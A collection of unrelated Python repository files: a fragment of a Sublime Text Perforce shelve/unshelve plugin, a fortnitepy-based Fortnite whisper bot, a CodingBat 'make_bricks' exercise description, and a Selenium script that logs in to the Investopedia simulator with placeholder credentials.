shelve=True): self.shelve = shelve self.window = window threading.Thread.__init__(self) def run(self): self.changelists_list = self.MakeChangelistsList() def show_quick_panel(): if not self.changelists_list: sublime.error_message(__name__ + ': There are no changelists to list.') return self.window.show_quick_panel(self.changelists_list, self.on_done) sublime.set_timeout(show_quick_panel, 10) def on_done(self, picked): if picked == -1: return changelistlist = self.changelists_list[picked].split(' ') changelist = 'Default' if(len(changelistlist) > 1): # Numbered changelist changelist = changelistlist[1] else: changelist = changelistlist[0] if self.shelve: cmdString = "shelve -c" + changelist else: cmdString = "unshelve -s" + changelist + " -f" command = ConstructCommand("p4 " + cmdString) p = subprocess.Popen(command, stdout=subprocess.PIPE, stderr=subprocess.PIPE, cwd=global_folder, shell=True) result, err = p.communicate() if(err): WarnUser("usererr " + err.strip()) return -1 def MakeChangelistsList(self): success, rawchangelists = GetPendingChangelists(); resultchangelists = [] if(success): changelists = rawchangelists.splitlines() # for each line, extract the change for changelistline in changelists: changelistlinesplit = changelistline.split(' ') resultchangelists.insert(0, "Changelist " + changelistlinesplit[1] + " - " + ' '.join(changelistlinesplit[7:])) return resultchangelists

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FNWhisperBot.py

v1001/FNWhisperBot

1

112060

<reponame>v1001/FNWhisperBot<filename>FNWhisperBot.py<gh_stars>1-10 import fortnitepy import datetime import os import asyncio import threading from fortnitepy.ext import commands import json def time() -> str: '''Return current system datetime as string.''' return datetime.datetime.now().strftime('%H:%M:%S') class KeyboardThread(threading.Thread): def __init__(self, input_cbk = None, name='keyboard-input-thread'): self.input_cbk = input_cbk super(KeyboardThread, self).__init__(name=name) self.paused = False # Explicitly using Lock over RLock since the use of self.paused # break reentrancy anyway, and I believe using Lock could allow # one thread to pause the worker, while another resumes; haven't # checked if Condition imposes additional limitations that would # prevent that. In Python 2, use of Lock instead of RLock also # boosts performance. self.pause_cond = threading.Condition(threading.Lock()) self.start() def run(self): while True: with self.pause_cond: while self.paused: self.pause_cond.wait() self.input_cbk(input('epic-id:message\\')) #waits to get input + Return def pause(self): self.paused = True # If in sleep, we acquire immediately, otherwise we wait for thread # to release condition. In race, worker will still see self.paused # and begin waiting until it's set back to False self.pause_cond.acquire() #should just resume the thread def resume(self): self.paused = False # Notify so thread will wake after lock released self.pause_cond.notify() # Now release the lock self.pause_cond.release() class WhisperClient(fortnitepy.Client): def __init__(self, data): self.data = data device_auth_details = self.get_device_auth_details().get(self.data["email"], {}) super().__init__( auth = fortnitepy.AdvancedAuth( email = self.data["email"], password = self.data["password"], prompt_authorization_code = True, delete_existing_device_auths = True, **device_auth_details ) ) def get_device_auth_details(self): if os.path.isfile(self.data["auth_filename"]): with open(self.data["auth_filename"], 'r') as fp: return json.load(fp) return {} def store_device_auth_details(self, details): existing = self.get_device_auth_details() existing[self.data["email"]] = details with open(self.data["auth_filename"], 'w') as fp: json.dump(existing, fp) async def event_device_auth_generate(self, details, email): self.store_device_auth_details(details) def get_friends_list(self): for f in self.friends: if(f.is_online): print(f'Friend name: {f.display_name}, Epic-ID: {f.id}') return([x.id for x in self.friends]) async def event_ready(self): #print ready status print('----------------') print('Client ready as') print(self.user.display_name) print(self.user.id) print('----------------') self.friendslist = self.get_friends_list() #starting loop task loop = asyncio.get_event_loop() loop.create_task(self.chat_task()) self.message_text = '' self.kbd_thread = KeyboardThread(self.get_input) async def event_friend_presence(self, before, after): pass async def event_party_invite(self, invite): print(f'\n{time()}: incoming invite from {invite.sender.display_name}, id {invite.sender.id}') if(not(self.data["invite_accept"])): await invite.sender.send('Sorry, currently I am not accepting invites.') await invite.decline() print(f'{time()}: declined party invite from {invite.sender.display_name}, id {invite.sender.id}. Invite_accept is set to false.') return else: await invite.accept() print(f'{time()}: accepted party invite from {invite.sender.display_name}, id {invite.sender.id}.') async def event_party_update(self, party): for member in party.members: if(not(member.id == self.user.id)): print(f'{time()}: {member.display_name} joined wearing outfit {member.outfit} and pickaxe {member.pickaxe}') async def chat_task(self): while True: try: if(len(self.message_text)>0): await self.send_message() if(self.kbd_thread.paused): self.kbd_thread.resume() except: print(f'{time()}: error in chat cyclic task') await asyncio.sleep(1) async def send_message(self): msg_items = self.message_text.split(':') self.message_text = '' if(len(msg_items)<2): print('please use the following format:"epic-id:message"') return if(msg_items[0] in self.friendslist): friend = [f for f in self.friends if f.id == msg_items[0]] await friend[0].send(msg_items[1]) def get_input(self, inp): self.message_text = inp self.kbd_thread.pause() async def event_friend_request(self, request): if self.data["friend_accept"]: await request.accept() print(time() + ' accepted friend request from {} ID {}'.format(request.display_name, request.id)) async def event_friend_message(self, message): self.kbd_thread.pause() print('\r' + time() + ': {0.author.display_name} ({0.author.id}): "{0.content}"'.format(message)) print('epic-id:message\\') self.kbd_thread.resume() def main(): with open('config.json') as f: data = json.load(f) data["email"] = input('please enter e-mail:') data["password"] = input('please enter password:') client = WhisperClient(data) client.run() main()

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python/coding_bat/make_bricks/README.py

lmregus/Portfolio

0

1613816

# Make Bricks We want to make a row of bricks that is goal inches long. We have a number of small bricks (1 inch each) and big bricks (5 inches each). Return True if it is possible to make the goal by choosing from the import given bricks. This is a little harder than it looks and can be done without any loops. See also: Introduction to MakeBricks * make_bricks(3, 1, 8) → True * make_bricks(3, 1, 9) → False * make_bricks(3, 2, 10) → True

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__scraping__/investopedia.com - selenium/main.py

furas/python-code

2

166149

<gh_stars>1-10 # author: Bartlomiej "furas" Burek (https://blog.furas.pl) # date: 2022.03.11 # [Scraping Investopedia using selenium python - Stack Overflow](https://stackoverflow.com/questions/71443533/scraping-investopedia-using-selenium-python/71444720#71444720) from selenium import webdriver from selenium.webdriver.common.by import By from webdriver_manager.chrome import ChromeDriverManager #from webdriver_manager.firefox import GeckoDriverManager import time # --- functions --- # PEP8: `lower_case_names` def login(): driver.get(r'https://www.investopedia.com/simulator/home.aspx') driver.implicitly_wait(10) driver.find_element(By.ID, 'username').send_keys('<EMAIL>') time.sleep(0.5) driver.find_element(By.ID, 'password').send_keys('<PASSWORD>') time.sleep(0.5) driver.find_element(By.ID, 'login').click() def get_trade_page(): url = 'https://www.investopedia.com/simulator/trade/stocks' driver.get(url) def set_stock(ticker): driver.find_element(By.XPATH, '//input[@placeholder="Look up Symbol/Company Name"]').send_keys(ticker) #driver.find_element(By.XPATH, '//div[@role="option"]').click() option = driver.find_element(By.XPATH, '//div[@role="option"]') driver.execute_script('arguments[0].click()', option) # --- main --- driver = webdriver.Chrome(executable_path=ChromeDriverManager().install()) #driver = webdriver.Firefox(executable_path=GeckoDriverManager().install()) login() get_trade_page() set_stock('hvt') #driver.close()

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